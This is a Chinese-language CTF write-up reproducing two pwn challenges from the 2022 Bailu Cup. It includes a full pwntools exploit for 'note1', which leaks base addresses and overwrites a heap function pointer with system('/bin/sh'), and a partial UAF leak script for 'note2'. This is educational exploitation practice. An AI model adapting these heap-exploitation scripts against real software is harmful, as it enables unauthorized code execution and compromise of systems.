2022年柏鹭杯 pwn题复现
题目附件链接:
链接:https://pan.baidu.com/s/1xng57H4uO04y0RdtYSVG7A
提取码:lele
note1:
在程序里面,一个很明显可以用于getshell的地方是3.call,由于函数地址和参数都是存在堆上的,只要能够修改函数地址为system函数的就可以了。然后可以进一步归结为泄露libc基址、泄露代码段基址......
泄露代码段基址:
主要漏洞点是:在new时,是通过fgets函数进行输入数据的,这样当参数n为8时,最后个字节就会为'\x00',不会泄露出后面的数据。但在edit时,new tag分支中是通过scanf函数进行输入,且格式化字符串为"%8s",这样可以使tag满满当当。不过注意的是,scanf函数对以字符串形式输入数据时,会在结尾附加的'\x00',但我们只要在edit中修改func就可以。接着只要callfun就可以在打印tag时连带func的地址打印出来啦~
add(0, 0x500, b'A'*0x100, b'', 1) edit_tag(0, b'abcdefgh') edit_func(0,1) funcall(0) io.recvuntil(b'abcdefgh') text_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x131b print("@@@ text_base = " + str(hex(text_base)))
泄露libc基址:
主要的漏洞点是:在edit中修改name时,不更新name的长度,可以达到堆溢出的效果。
edit_name(0, 0x17, b'') add(1, 0x17, b'', b'', 1) edit_name(0, 0x101, b'A'*0x20 + p64(0) + p64(text_base + 0x131b) + p64(text_base + 0x3FA8)) funcall(1) io.recvuntil("name: ") libc_base = u64(io.recv(6).ljust(8, b'\x00')) - libc.symbols['printf'] print("@@@ libc_base = " + str(hex(libc_base)))
get shell:
重复第二步的溢出,直接getshell!
edit_name(0, 0x101, b'A'*0x20 + b'/bin/sh\x00' + p64(libc_base + libc.symbols['system'])) funcall(1) io.interactive()
EXP:
from pwn import * context(os='linux', arch='amd64', log_level='debug') io = process("./note1") elf = ELF("./note1") libc = ELF("./libc.so.6") def add(Id, length, name, tag, func): io.sendlineafter("> ", "1") io.sendlineafter("id: ", str(Id)) io.sendlineafter("name_length: ", str(length)) io.sendlineafter("name: ", name) io.sendlineafter("tag: ", tag) io.sendlineafter("func: ", str(func)) def edit_name(Id, length, name): io.sendlineafter("> ", "2") io.sendlineafter("id: ", str(Id)) io.sendlineafter("> ", "1") io.sendlineafter("name_length: ", str(length)) io.sendlineafter("name: ", name) def edit_tag(Id, tag): io.sendlineafter("> ", "2") io.sendlineafter("id: ", str(Id)) io.sendlineafter("> ", "2") io.sendlineafter("new tag: ", tag) def edit_func(Id, func): io.sendlineafter("> ", "2") io.sendlineafter("id: ", str(Id)) io.sendlineafter("> ", "3") io.sendlineafter("func: ", str(func)) def funcall(Id): io.sendlineafter("> ", "3") io.sendlineafter("id: ", str(Id)) def debug(): gdb.attach(io) pause() add(0, 0x500, b'A'*0x100, b'', 1) edit_tag(0, b'abcdefgh') edit_func(0,1) funcall(0) io.recvuntil(b'abcdefgh') text_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x131b print("@@@ text_base = " + str(hex(text_base))) edit_name(0, 0x17, b'') add(1, 0x17, b'', b'', 1) edit_name(0, 0x101, b'A'*0x20 + p64(0) + p64(text_base + 0x131b) + p64(text_base + 0x3FA8)) funcall(1) io.recvuntil("name: ") libc_base = u64(io.recv(6).ljust(8, b'\x00')) - libc.symbols['printf'] print("@@@ libc_base = " + str(hex(libc_base))) edit_name(0, 0x101, b'A'*0x20 + b'/bin/sh\x00' + p64(libc_base + libc.symbols['system'])) funcall(1) io.interactive()
note2:
这里只泄露出了堆基址和libc基址,后面的涉及到一些IO的利用手法,听说banana、apple2可以打。
恐怖的是,看了Ex师傅的getshell部分,竟然只要几行代码。等学了之后再来补吧~
程序有明显的UAF漏洞,泄露基址很容易,注意从2.32开始有个Safe-Linking保护机制即可。
from pwn import * context(os='linux', arch='amd64', log_level='debug') io = process("./note2") elf = ELF("./note2") libc = ELF("./libc.so.6") def create(idx, size, content): io.sendlineafter("> ", "1") io.sendlineafter("Index?", str(idx)) io.sendlineafter("Size?", str(size)) io.sendlineafter("Enter content: ", content) def free(idx): io.sendlineafter("> ", "2") io.sendlineafter("Index?", str(idx)) def view(idx): io.sendlineafter("> ", "3") io.sendlineafter("Index?", str(idx)) def debug(): gdb.attach(io) pause() # use 'key' leak heap_base create(0, 0xf0, b'tolele') free(0) view(0) key = u64(io.recvuntil("\n\n--- menu ---", drop=True)[3:].ljust(8,b'\x00')) heap_base = key << 12 print("@@@ heap_base = " + str(hex(heap_base))) # leak libc_base for i in range(0,9): create(i, 0xf0, b'tolele') for i in range(0,7): free(i) free(7) view(7) libc_base = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x219c00 - 0xe0 print("@@@ libc_base = " + str(hex(libc_base)))
(留坑,待填)
tolele
2022-09-17